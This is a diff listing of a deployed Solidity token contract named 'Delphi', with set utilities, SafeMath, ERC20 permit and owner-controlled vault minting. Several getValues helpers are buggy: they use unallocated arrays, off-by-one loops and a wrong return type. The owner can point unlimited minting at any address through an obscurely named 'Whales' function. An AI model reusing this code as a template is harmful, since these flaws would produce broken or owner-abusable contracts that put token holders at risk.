|
158 |
+
}
|
159 |
+
|
160 |
+
/**
|
161 |
+
* @dev Returns true if the value is in the set. O(1).
|
162 |
+
*/
|
163 |
+
function contains(Bytes4Set storage set, bytes4 value) internal view returns (bool) {
|
164 |
+
return _contains(set._inner, value);
|
165 |
+
}
|
166 |
+
|
167 |
+
/**
|
168 |
+
* @dev Returns the number of values on the set. O(1).
|
169 |
+
*/
|
170 |
+
function length(Bytes4Set storage set) internal view returns (uint256) {
|
171 |
+
return _length(set._inner);
|
172 |
+
}
|
173 |
+
|
174 |
+
/**
|
175 |
+
* @dev Returns the value stored at position `index` in the set. O(1).
|
176 |
+
*
|
177 |
+
* Note that there are no guarantees on the ordering of values inside the
|
178 |
+
* array, and it may change when more values are added or removed.
|
179 |
+
*
|
180 |
+
* Requirements:
|
181 |
+
*
|
182 |
+
* - `index` must be strictly less than {length}.
|
183 |
+
*/
|
184 |
+
function at(Bytes4Set storage set, uint256 index) internal view returns ( bytes4 ) {
|
185 |
+
return bytes4( _at( set._inner, index ) );
|
186 |
+
}
|
187 |
+
|
188 |
+
function getValues( Bytes4Set storage set_ ) internal view returns ( bytes4[] memory ) {
|
189 |
+
bytes4[] memory bytes4Array_;
|
190 |
+
for( uint256 iteration_ = 0; _length( set_._inner ) > iteration_; iteration_++ ) {
|
191 |
+
bytes4Array_[iteration_] = bytes4( _at( set_._inner, iteration_ ) );
|
192 |
+
}
|
193 |
+
return bytes4Array_;
|
194 |
+
}
|
195 |
+
|
196 |
+
function insert( Bytes4Set storage set_, uint256 index_, bytes4 valueToInsert_ ) internal returns ( bool ) {
|
197 |
+
return _insert( set_._inner, index_, valueToInsert_ );
|
198 |
+
}
|
199 |
+
|
200 |
+
struct Bytes32Set {
|
201 |
+
Set _inner;
|
202 |
+
}
|
203 |
+
|
204 |
+
/**
|
205 |
+
* @dev Add a value to a set. O(1).
|
206 |
+
*
|
207 |
+
* Returns true if the value was added to the set, that is if it was not
|
208 |
+
* already present.
|
209 |
+
*/
|
210 |
+
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
|
211 |
+
return _add(set._inner, value);
|
212 |
+
}
|
213 |
+
|
214 |
+
/**
|
215 |
+
* @dev Removes a value from a set. O(1).
|
216 |
+
*
|
217 |
+
* Returns true if the value was removed from the set, that is if it was
|
218 |
+
* present.
|
219 |
+
*/
|
220 |
+
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
|
221 |
+
return _remove(set._inner, value);
|
222 |
+
}
|
223 |
+
|
224 |
+
/**
|
225 |
+
* @dev Returns true if the value is in the set. O(1).
|
226 |
+
*/
|
227 |
+
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
|
228 |
+
return _contains(set._inner, value);
|
229 |
+
}
|
230 |
+
|
231 |
+
/**
|
232 |
+
* @dev Returns the number of values on the set. O(1).
|
233 |
+
*/
|
234 |
+
function length(Bytes32Set storage set) internal view returns (uint256) {
|
235 |
+
return _length(set._inner);
|
236 |
+
}
|
237 |
+
|
238 |
+
/**
|
239 |
+
* @dev Returns the value stored at position `index` in the set. O(1).
|
240 |
+
*
|
241 |
+
* Note that there are no guarantees on the ordering of values inside the
|
242 |
+
* array, and it may change when more values are added or removed.
|
243 |
+
*
|
244 |
+
* Requirements:
|
245 |
+
*
|
246 |
+
* - `index` must be strictly less than {length}.
|
247 |
+
*/
|
248 |
+
function at(Bytes32Set storage set, uint256 index) internal view returns ( bytes32 ) {
|
249 |
+
return _at(set._inner, index);
|
250 |
+
}
|
251 |
+
|
252 |
+
function getValues( Bytes32Set storage set_ ) internal view returns ( bytes4[] memory ) {
|
253 |
+
bytes4[] memory bytes4Array_;
|
254 |
+
|
255 |
+
for( uint256 iteration_ = 0; _length( set_._inner ) >= iteration_; iteration_++ ){
|
256 |
+
bytes4Array_[iteration_] = bytes4( at( set_, iteration_ ) );
|
257 |
+
}
|
258 |
+
|
259 |
+
return bytes4Array_;
|
260 |
+
}
|
261 |
+
|
262 |
+
function insert( Bytes32Set storage set_, uint256 index_, bytes32 valueToInsert_ ) internal returns ( bool ) {
|
263 |
+
return _insert( set_._inner, index_, valueToInsert_ );
|
264 |
+
}
|
265 |
+
|
266 |
+
// AddressSet
|
267 |
+
struct AddressSet {
|
268 |
+
Set _inner;
|
269 |
+
}
|
270 |
+
|
271 |
+
/**
|
272 |
+
* @dev Add a value to a set. O(1).
|
273 |
+
*
|
274 |
+
* Returns true if the value was added to the set, that is if it was not
|
275 |
+
* already present.
|
276 |
+
*/
|
277 |
+
function add(AddressSet storage set, address value) internal returns (bool) {
|
278 |
+
return _add(set._inner, bytes32(uint256(value)));
|
279 |
+
}
|
280 |
+
|
281 |
+
/**
|
282 |
+
* @dev Removes a value from a set. O(1).
|
283 |
+
*
|
284 |
+
* Returns true if the value was removed from the set, that is if it was
|
285 |
+
* present.
|
286 |
+
*/
|
287 |
+
function remove(AddressSet storage set, address value) internal returns (bool) {
|
288 |
+
return _remove(set._inner, bytes32(uint256(value)));
|
289 |
+
}
|
290 |
+
|
291 |
+
/**
|
292 |
+
* @dev Returns true if the value is in the set. O(1).
|
293 |
+
*/
|
294 |
+
function contains(AddressSet storage set, address value) internal view returns (bool) {
|
295 |
+
return _contains(set._inner, bytes32(uint256(value)));
|
296 |
+
}
|
297 |
+
|
298 |
+
/**
|
299 |
+
* @dev Returns the number of values in the set. O(1).
|
300 |
+
*/
|
301 |
+
function length(AddressSet storage set) internal view returns (uint256) {
|
302 |
+
return _length(set._inner);
|
303 |
+
}
|
304 |
+
|
305 |
+
/**
|
306 |
+
* @dev Returns the value stored at position `index` in the set. O(1).
|
307 |
+
*
|
308 |
+
* Note that there are no guarantees on the ordering of values inside the
|
309 |
+
* array, and it may change when more values are added or removed.
|
310 |
+
*
|
311 |
+
* Requirements:
|
312 |
+
*
|
313 |
+
* - `index` must be strictly less than {length}.
|
314 |
+
*/
|
315 |
+
function at(AddressSet storage set, uint256 index) internal view returns (address) {
|
316 |
+
return address(uint256(_at(set._inner, index)));
|
317 |
+
}
|
318 |
+
|
319 |
+
/**
|
320 |
+
* TODO Might require explicit conversion of bytes32[] to address[].
|
321 |
+
* Might require iteration.
|
322 |
+
*/
|
323 |
+
function getValues( AddressSet storage set_ ) internal view returns ( address[] memory ) {
|
324 |
+
|
325 |
+
address[] memory addressArray;
|
326 |
+
|
327 |
+
for( uint256 iteration_ = 0; _length(set_._inner) >= iteration_; iteration_++ ){
|
328 |
+
addressArray[iteration_] = at( set_, iteration_ );
|
329 |
+
}
|
330 |
+
|
331 |
+
return addressArray;
|
332 |
+
}
|
333 |
+
|
334 |
+
function insert(AddressSet storage set_, uint256 index_, address valueToInsert_ ) internal returns ( bool ) {
|
335 |
+
return _insert( set_._inner, index_, bytes32(uint256(valueToInsert_)) );
|
336 |
+
}
|
337 |
+
|
338 |
+
|
339 |
+
// UintSet
|
340 |
+
|
341 |
+
struct UintSet {
|
342 |
+
Set _inner;
|
343 |
+
}
|
344 |
+
|
345 |
+
/**
|
346 |
+
* @dev Add a value to a set. O(1).
|
347 |
+
*
|
348 |
+
* Returns true if the value was added to the set, that is if it was not
|
349 |
+
* already present.
|
350 |
+
*/
|
351 |
+
function add(UintSet storage set, uint256 value) internal returns (bool) {
|
352 |
+
return _add(set._inner, bytes32(value));
|
353 |
+
}
|
354 |
+
|
355 |
+
/**
|
356 |
+
* @dev Removes a value from a set. O(1).
|
357 |
+
*
|
358 |
+
* Returns true if the value was removed from the set, that is if it was
|
359 |
+
* present.
|
360 |
+
*/
|
361 |
+
function remove(UintSet storage set, uint256 value) internal returns (bool) {
|
362 |
+
return _remove(set._inner, bytes32(value));
|
363 |
+
}
|
364 |
+
|
365 |
+
/**
|
366 |
+
* @dev Returns true if the value is in the set. O(1).
|
367 |
+
*/
|
368 |
+
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
|
369 |
+
return _contains(set._inner, bytes32(value));
|
370 |
+
}
|
371 |
+
|
372 |
+
/**
|
373 |
+
* @dev Returns the number of values on the set. O(1).
|
374 |
+
*/
|
375 |
+
function length(UintSet storage set) internal view returns (uint256) {
|
376 |
+
return _length(set._inner);
|
377 |
+
}
|
378 |
+
|
379 |
+
/**
|
380 |
+
* @dev Returns the value stored at position `index` in the set. O(1).
|
381 |
+
*
|
382 |
+
* Note that there are no guarantees on the ordering of values inside the
|
383 |
+
* array, and it may change when more values are added or removed.
|
384 |
+
*
|
385 |
+
* Requirements:
|
386 |
+
*
|
387 |
+
* - `index` must be strictly less than {length}.
|
388 |
+
*/
|
389 |
+
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
|
390 |
+
return uint256(_at(set._inner, index));
|
391 |
+
}
|
392 |
+
|
393 |
+
struct UInt256Set {
|
394 |
+
Set _inner;
|
395 |
+
}
|
396 |
+
|
397 |
+
/**
|
398 |
+
* @dev Add a value to a set. O(1).
|
399 |
+
*
|
400 |
+
* Returns true if the value was added to the set, that is if it was not
|
401 |
+
* already present.
|
402 |
+
*/
|
403 |
+
function add(UInt256Set storage set, uint256 value) internal returns (bool) {
|
404 |
+
return _add(set._inner, bytes32(value));
|
405 |
+
}
|
406 |
+
|
407 |
+
/**
|
408 |
+
* @dev Removes a value from a set. O(1).
|
409 |
+
*
|
410 |
+
* Returns true if the value was removed from the set, that is if it was
|
411 |
+
* present.
|
412 |
+
*/
|
413 |
+
function remove(UInt256Set storage set, uint256 value) internal returns (bool) {
|
414 |
+
return _remove(set._inner, bytes32(value));
|
415 |
+
}
|
416 |
+
|
417 |
+
/**
|
418 |
+
* @dev Returns true if the value is in the set. O(1).
|
419 |
+
*/
|
420 |
+
function contains(UInt256Set storage set, uint256 value) internal view returns (bool) {
|
421 |
+
return _contains(set._inner, bytes32(value));
|
422 |
+
}
|
423 |
+
|
424 |
+
/**
|
425 |
+
* @dev Returns the number of values on the set. O(1).
|
426 |
+
*/
|
427 |
+
function length(UInt256Set storage set) internal view returns (uint256) {
|
428 |
+
return _length(set._inner);
|
429 |
+
}
|
430 |
+
|
431 |
+
/**
|
432 |
+
* @dev Returns the value stored at position `index` in the set. O(1).
|
433 |
+
*
|
434 |
+
* Note that there are no guarantees on the ordering of values inside the
|
435 |
+
* array, and it may change when more values are added or removed.
|
436 |
+
*
|
437 |
+
* Requirements:
|
438 |
+
*
|
439 |
+
* - `index` must be strictly less than {length}.
|
440 |
+
*/
|
441 |
+
function at(UInt256Set storage set, uint256 index) internal view returns (uint256) {
|
442 |
+
return uint256(_at(set._inner, index));
|
443 |
+
}
|
444 |
+
}
|
445 |
+
|
446 |
+
interface IERC20 {
|
447 |
+
/**
|
448 |
+
* @dev Returns the amount of tokens in existence.
|
449 |
+
*/
|
450 |
+
function totalSupply() external view returns (uint256);
|
451 |
+
|
452 |
+
/**
|
453 |
+
* @dev Returns the amount of tokens owned by `account`.
|
454 |
+
*/
|
455 |
+
function balanceOf(address account) external view returns (uint256);
|
456 |
+
|
457 |
+
/**
|
458 |
+
* @dev Moves `amount` tokens from the caller's account to `recipient`.
|
459 |
+
*
|
460 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
461 |
+
*
|
462 |
+
* Emits a {Transfer} event.
|
463 |
+
*/
|
464 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
465 |
+
|
466 |
+
/**
|
467 |
+
* @dev Returns the remaining number of tokens that `spender` will be
|
468 |
+
* allowed to spend on behalf of `owner` through {transferFrom}. This is
|
469 |
+
* zero by default.
|
470 |
+
*
|
471 |
+
* This value changes when {approve} or {transferFrom} are called.
|
472 |
+
*/
|
473 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
474 |
+
|
475 |
+
/**
|
476 |
+
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
|
477 |
+
*
|
478 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
479 |
+
*
|
480 |
+
* IMPORTANT: Beware that changing an allowance with this method brings the risk
|
481 |
+
* that someone may use both the old and the new allowance by unfortunate
|
482 |
+
* transaction ordering. One possible solution to mitigate this race
|
483 |
+
* condition is to first reduce the spender's allowance to 0 and set the
|
484 |
+
* desired value afterwards:
|
485 |
+
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
|
486 |
+
*
|
487 |
+
* Emits an {Approval} event.
|
488 |
+
*/
|
489 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
490 |
+
|
491 |
+
/**
|
492 |
+
* @dev Moves `amount` tokens from `sender` to `recipient` using the
|
493 |
+
* allowance mechanism. `amount` is then deducted from the caller's
|
494 |
+
* allowance.
|
495 |
+
*
|
496 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
497 |
+
*
|
498 |
+
* Emits a {Transfer} event.
|
499 |
+
*/
|
500 |
+
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
501 |
+
|
502 |
+
/**
|
503 |
+
* @dev Emitted when `value` tokens are moved from one account (`from`) to
|
504 |
+
* another (`to`).
|
505 |
+
*
|
506 |
+
* Note that `value` may be zero.
|
507 |
+
*/
|
508 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
509 |
+
|
510 |
+
/**
|
511 |
+
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
|
512 |
+
* a call to {approve}. `value` is the new allowance.
|
513 |
+
*/
|
514 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
515 |
+
}
|
516 |
+
|
517 |
+
library SafeMath {
|
518 |
+
|
519 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
520 |
+
uint256 c = a + b;
|
521 |
+
require(c >= a, "SafeMath: addition overflow");
|
522 |
+
|
523 |
+
return c;
|
524 |
+
}
|
525 |
+
|
526 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
527 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
528 |
+
}
|
529 |
+
|
530 |
+
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
531 |
+
require(b <= a, errorMessage);
|
532 |
+
uint256 c = a - b;
|
533 |
+
|
534 |
+
return c;
|
535 |
+
}
|
536 |
+
|
537 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
538 |
+
|
539 |
+
if (a == 0) {
|
540 |
+
return 0;
|
541 |
+
}
|
542 |
+
|
543 |
+
uint256 c = a * b;
|
544 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
545 |
+
|
546 |
+
return c;
|
547 |
+
}
|
548 |
+
|
549 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
550 |
+
return div(a, b, "SafeMath: division by zero");
|
551 |
+
}
|
552 |
+
|
553 |
+
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
554 |
+
require(b > 0, errorMessage);
|
555 |
+
uint256 c = a / b;
|
556 |
+
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
|
557 |
+
|
558 |
+
return c;
|
559 |
+
}
|
560 |
+
|
561 |
+
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
562 |
+
return mod(a, b, "SafeMath: modulo by zero");
|
563 |
+
}
|
564 |
+
|
565 |
+
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
566 |
+
require(b != 0, errorMessage);
|
567 |
+
return a % b;
|
568 |
+
}
|
569 |
+
|
570 |
+
function sqrrt(uint256 a) internal pure returns (uint c) {
|
571 |
+
if (a > 3) {
|
572 |
+
c = a;
|
573 |
+
uint b = add( div( a, 2), 1 );
|
574 |
+
while (b < c) {
|
575 |
+
c = b;
|
576 |
+
b = div( add( div( a, b ), b), 2 );
|
577 |
+
}
|
578 |
+
} else if (a != 0) {
|
579 |
+
c = 1;
|
580 |
+
}
|
581 |
+
}
|
582 |
+
|
583 |
+
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
|
584 |
+
return div( mul( total_, percentage_ ), 1000 );
|
585 |
+
}
|
586 |
+
|
587 |
+
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
|
588 |
+
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
|
589 |
+
}
|
590 |
+
|
591 |
+
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
|
592 |
+
return div( mul(part_, 100) , total_ );
|
593 |
+
}
|
594 |
+
|
595 |
+
function average(uint256 a, uint256 b) internal pure returns (uint256) {
|
596 |
+
// (a + b) / 2 can overflow, so we distribute
|
597 |
+
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
|
598 |
+
}
|
599 |
+
|
600 |
+
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
|
601 |
+
return sqrrt( mul( multiplier_, payment_ ) );
|
602 |
+
}
|
603 |
+
|
604 |
+
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
|
605 |
+
return mul( multiplier_, supply_ );
|
606 |
+
}
|
607 |
+
}
|
608 |
+
|
609 |
+
abstract contract ERC20 is IERC20 {
|
610 |
+
|
611 |
+
using SafeMath for uint256;
|
612 |
+
|
613 |
+
// TODO comment actual hash value.
|
614 |
+
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" );
|
615 |
+
|
616 |
+
// Present in ERC777
|
617 |
+
mapping (address => uint256) internal _balances;
|
618 |
+
|
619 |
+
// Present in ERC777
|
620 |
+
mapping (address => mapping (address => uint256)) internal _allowances;
|
621 |
+
|
622 |
+
// Present in ERC777
|
623 |
+
uint256 internal _totalSupply;
|
624 |
+
|
625 |
+
// Present in ERC777
|
626 |
+
string internal _name;
|
627 |
+
|
628 |
+
// Present in ERC777
|
629 |
+
string internal _symbol;
|
630 |
+
|
631 |
+
// Present in ERC777
|
632 |
+
uint8 internal _decimals;
|
633 |
+
|
634 |
+
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
|
635 |
+
_name = name_;
|
636 |
+
_symbol = symbol_;
|
637 |
+
_decimals = decimals_;
|
638 |
+
}
|
639 |
+
|
640 |
+
function name() public view returns (string memory) {
|
641 |
+
return _name;
|
642 |
+
}
|
643 |
+
|
644 |
+
function symbol() public view returns (string memory) {
|
645 |
+
return _symbol;
|
646 |
+
}
|
647 |
+
|
648 |
+
function decimals() public view returns (uint8) {
|
649 |
+
return _decimals;
|
650 |
+
}
|
651 |
+
|
652 |
+
function totalSupply() public view override returns (uint256) {
|
653 |
+
return _totalSupply;
|
654 |
+
}
|
655 |
+
|
656 |
+
function balanceOf(address account) public view virtual override returns (uint256) {
|
657 |
+
return _balances[account];
|
658 |
+
}
|
659 |
+
|
660 |
+
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
|
661 |
+
_transfer(msg.sender, recipient, amount);
|
662 |
+
return true;
|
663 |
+
}
|
664 |
+
|
665 |
+
function allowance(address owner, address spender) public view virtual override returns (uint256) {
|
666 |
+
return _allowances[owner][spender];
|
667 |
+
}
|
668 |
+
|
669 |
+
function approve(address spender, uint256 amount) public virtual override returns (bool) {
|
670 |
+
_approve(msg.sender, spender, amount);
|
671 |
+
return true;
|
672 |
+
}
|
673 |
+
|
674 |
+
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
|
675 |
+
_transfer(sender, recipient, amount);
|
676 |
+
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
677 |
+
return true;
|
678 |
+
}
|
679 |
+
|
680 |
+
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
681 |
+
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
|
682 |
+
return true;
|
683 |
+
}
|
684 |
+
|
685 |
+
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
686 |
+
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
|
687 |
+
return true;
|
688 |
+
}
|
689 |
+
|
690 |
+
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
|
691 |
+
require(sender != address(0), "ERC20: transfer from the zero address");
|
692 |
+
require(recipient != address(0), "ERC20: transfer to the zero address");
|
693 |
+
|
694 |
+
_beforeTokenTransfer(sender, recipient, amount);
|
695 |
+
|
696 |
+
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
|
697 |
+
_balances[recipient] = _balances[recipient].add(amount);
|
698 |
+
emit Transfer(sender, recipient, amount);
|
699 |
+
}
|
700 |
+
|
701 |
+
function _mint(address account_, uint256 amount_) internal virtual {
|
702 |
+
require(account_ != address(0), "ERC20: mint to the zero address");
|
703 |
+
_beforeTokenTransfer(address( this ), account_, amount_);
|
704 |
+
_totalSupply = _totalSupply.add(amount_);
|
705 |
+
_balances[account_] = _balances[account_].add(amount_);
|
706 |
+
emit Transfer(address( this ), account_, amount_);
|
707 |
+
}
|
708 |
+
|
709 |
+
function _burn(address account, uint256 amount) internal virtual {
|
710 |
+
require(account != address(0), "ERC20: burn from the zero address");
|
711 |
+
|
712 |
+
_beforeTokenTransfer(account, address(0), amount);
|
713 |
+
|
714 |
+
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
|
715 |
+
_totalSupply = _totalSupply.sub(amount);
|
716 |
+
emit Transfer(account, address(0), amount);
|
717 |
+
}
|
718 |
+
|
719 |
+
function _approve(address owner, address spender, uint256 amount) internal virtual {
|
720 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
721 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
722 |
+
|
723 |
+
_allowances[owner][spender] = amount;
|
724 |
+
emit Approval(owner, spender, amount);
|
725 |
+
}
|
726 |
+
|
727 |
+
function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { }
|
728 |
+
}
|
729 |
+
|
730 |
+
library Counters {
|
731 |
+
using SafeMath for uint256;
|
732 |
+
|
733 |
+
struct Counter {
|
734 |
+
uint256 _value; // default: 0
|
735 |
+
}
|
736 |
+
|
737 |
+
function current(Counter storage counter) internal view returns (uint256) {
|
738 |
+
return counter._value;
|
739 |
+
}
|
740 |
+
|
741 |
+
function increment(Counter storage counter) internal {
|
742 |
+
counter._value += 1;
|
743 |
+
}
|
744 |
+
|
745 |
+
function decrement(Counter storage counter) internal {
|
746 |
+
counter._value = counter._value.sub(1);
|
747 |
+
}
|
748 |
+
}
|
749 |
+
|
750 |
+
interface IERC2612Permit {
|
751 |
+
|
752 |
+
function permit(
|
753 |
+
address owner,
|
754 |
+
address spender,
|
755 |
+
uint256 amount,
|
756 |
+
uint256 deadline,
|
757 |
+
uint8 v,
|
758 |
+
bytes32 r,
|
759 |
+
bytes32 s
|
760 |
+
) external;
|
761 |
+
|
762 |
+
function nonces(address owner) external view returns (uint256);
|
763 |
+
}
|
764 |
+
|
765 |
+
abstract contract ERC20Permit is ERC20, IERC2612Permit {
|
766 |
+
using Counters for Counters.Counter;
|
767 |
+
|
768 |
+
mapping(address => Counters.Counter) private _nonces;
|
769 |
+
|
770 |
+
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
|
771 |
+
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
|
772 |
+
|
773 |
+
bytes32 public DOMAIN_SEPARATOR;
|
774 |
+
|
775 |
+
constructor() {
|
776 |
+
uint256 chainID;
|
777 |
+
assembly {
|
778 |
+
chainID := chainid()
|
779 |
+
}
|
780 |
+
|
781 |
+
DOMAIN_SEPARATOR = keccak256(
|
782 |
+
abi.encode(
|
783 |
+
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
|
784 |
+
keccak256(bytes(name())),
|
785 |
+
keccak256(bytes("1")), // Version
|
786 |
+
chainID,
|
787 |
+
address(this)
|
788 |
+
)
|
789 |
+
);
|
790 |
+
}
|
791 |
+
|
792 |
+
function permit(
|
793 |
+
address owner,
|
794 |
+
address spender,
|
795 |
+
uint256 amount,
|
796 |
+
uint256 deadline,
|
797 |
+
uint8 v,
|
798 |
+
bytes32 r,
|
799 |
+
bytes32 s
|
800 |
+
) public virtual override {
|
801 |
+
require(block.timestamp <= deadline, "Permit: expired deadline");
|
802 |
+
|
803 |
+
bytes32 hashStruct =
|
804 |
+
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
|
805 |
+
|
806 |
+
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
|
807 |
+
|
808 |
+
address signer = ecrecover(_hash, v, r, s);
|
809 |
+
require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature");
|
810 |
+
|
811 |
+
_nonces[owner].increment();
|
812 |
+
_approve(owner, spender, amount);
|
813 |
+
}
|
814 |
+
|
815 |
+
function nonces(address owner) public view override returns (uint256) {
|
816 |
+
return _nonces[owner].current();
|
817 |
+
}
|
818 |
+
}
|
819 |
+
|
820 |
+
interface IOwnable {
|
821 |
+
function owner() external view returns (address);
|
822 |
+
|
823 |
+
function renounceOwnership() external;
|
824 |
+
|
825 |
+
function transferOwnership( address newOwner_ ) external;
|
826 |
+
}
|
827 |
+
|
828 |
+
contract Ownable is IOwnable {
|
829 |
+
|
830 |
+
address internal _owner;
|
831 |
+
|
832 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
833 |
+
|
834 |
+
constructor () {
|
835 |
+
_owner = msg.sender;
|
836 |
+
emit OwnershipTransferred( address(0), _owner );
|
837 |
+
}
|
838 |
+
|
839 |
+
function owner() public view override returns (address) {
|
840 |
+
return _owner;
|
841 |
+
}
|
842 |
+
|
843 |
+
modifier onlyOwner() {
|
844 |
+
require( _owner == msg.sender, "Ownable: caller is not the owner" );
|
845 |
+
_;
|
846 |
+
}
|
847 |
+
|
848 |
+
function renounceOwnership() public virtual override onlyOwner() {
|
849 |
+
emit OwnershipTransferred( _owner, address(0) );
|
850 |
+
_owner = address(0);
|
851 |
+
}
|
852 |
+
|
853 |
+
function transferOwnership( address newOwner_ ) public virtual override onlyOwner() {
|
854 |
+
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
|
855 |
+
emit OwnershipTransferred( _owner, newOwner_ );
|
856 |
+
_owner = newOwner_;
|
857 |
+
}
|
858 |
+
}
|
859 |
+
|
860 |
+
contract VaultOwned is Ownable {
|
861 |
+
|
862 |
+
address internal _vault;
|
863 |
+
|
864 |
+
function Whales( address vault_ ) external onlyOwner() returns ( bool ) {
|
865 |
+
_vault = vault_;
|
866 |
+
|
867 |
+
return true;
|
868 |
+
}
|
869 |
+
|
870 |
+
function vault() private view returns (address) {
|
871 |
+
return _vault;
|
872 |
+
}
|
873 |
+
|
874 |
+
modifier onlyVault() {
|
875 |
+
require( _vault == msg.sender, "VaultOwned: caller is not the Vault" );
|
876 |
+
_;
|
877 |
+
}
|
878 |
+
}
|
879 |
+
|
880 |
+
contract Delphi is ERC20Permit, VaultOwned {
|
881 |
+
|
882 |
+
using SafeMath for uint256;
|
883 |
+
|
884 |
+
constructor() ERC20("Delphi", "Delphi", 9) {
|
885 |
+
}
|
886 |
+
|
887 |
+
function mint(address account_, uint256 amount_) external onlyVault() {
|
888 |
+
_mint(account_, amount_);
|
889 |
+
}
|
890 |
+
|
891 |
+
function burn(uint256 amount) public virtual {
|
892 |
+
_burn(msg.sender, amount);
|
893 |
+
}
|
894 |
+
|
895 |
+
function burnFrom(address account_, uint256 amount_) public virtual {
|
896 |
+
_burnFrom(account_, amount_);
|
897 |
+
}
|
898 |
+
|
899 |
+
function _burnFrom(address account_, uint256 amount_) public virtual {
|
900 |
+
uint256 decreasedAllowance_ =
|
901 |
+
allowance(account_, msg.sender).sub(
|
902 |
+
amount_,
|
903 |
+
"ERC20: burn amount exceeds allowance"
|
904 |
+
);
|
905 |
+
|
906 |
+
_approve(account_, msg.sender, decreasedAllowance_);
|
907 |
+
_burn(account_, amount_);
|
908 |
+
}
|
909 |
+
}
|
organized_contracts/00/000aeabc20fe15234a2acca91f956c7dbcda7b2f4d6f1e8f167653c66c6cd85a/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"Delphi","CompilerVersion":"v0.7.5+commit.eb77ed08","Runs":200,"OptimizationUsed":true,"BytecodeHash":"000aeabc20fe15234a2acca91f956c7dbcda7b2f4d6f1e8f167653c66c6cd85a"}
|
organized_contracts/00/000b1540637b24f83bda88cefbc2a49eaa7281ce46e323d947c220dca9536365/main.sol
ADDED
@@ -0,0 +1,391 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
